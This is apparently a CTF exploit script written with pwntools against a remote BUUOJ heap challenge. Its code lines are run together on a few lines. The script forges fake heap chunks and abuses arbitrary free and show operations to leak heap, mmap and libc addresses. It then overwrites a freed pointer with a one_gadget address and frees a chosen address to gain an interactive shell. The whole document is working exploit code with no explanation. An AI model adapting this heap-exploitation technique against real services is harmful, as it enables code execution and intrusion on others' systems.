1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import *
sh = remote('node3.buuoj.cn',27447) libc = ELF('./libc-2.23.so') malloc_hook_s = libc.symbols['__malloc_hook'] one_gadget = 0xf02a4
def edit(offset,size,payload): sh.sendlineafter('[5] : exit','1') sh.sendlineafter('write?',str(size)) sh.sendlineafter('offset?',str(offset)) sleep(0.1) sh.send(payload)
def delete(offset): sh.sendlineafter('[5] : exit','3') sh.sendlineafter('free?',str(offset))
def show(offset): sh.sendlineafter('[5] : exit','4') sh.sendlineafter('leak?',str(offset))
fake_chunk = p64(0) + p64(0x91) fake_chunk += 'a'*0x80 fake_chunk += p64(0) + p64(0x21) fake_chunk += 'b'*0x10 fake_chunk += p64(0) + p64(0x21) fake_chunk += 'c'*0x10 edit(0,len(fake_chunk),fake_chunk)
delete(0x10) show(0x10) sh.recvuntil('\n') heap_addr = u64(sh.recv(6).ljust(8,'\x00')) print 'heap_addr=',hex(heap_addr) edit(0x10,1,p8(0x89)) show(0x10) sh.recvuntil('\n') mmap_addr = u64('\x00' + sh.recvuntil('\n',drop = True).ljust(7,'\x00')) print 'mmap_addr=',hex(mmap_addr) edit(0x10,1,p8(0x98)) show(0x10) sh.recvuntil('\n') main_arena_88 = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s one_gadget_addr = libc_base + one_gadget print 'libc_base=',hex(libc_base) print 'malloc_hook_addr=',hex(malloc_hook_addr) print 'one_gadget_addr=',hex(one_gadget_addr)
fake_chunk = p64(0) + p64(0x21) fake_chunk += 'a'*0x10 fake_chunk += p64(0) + p64(0x21) fake_chunk += 'b'*0x10 edit(0,len(fake_chunk),fake_chunk)
delete(0x10) edit(0x8,8,p64(one_gadget_addr))
state_addr = heap_addr - 0x30 delete(state_addr - mmap_addr)
sh.interactive()
|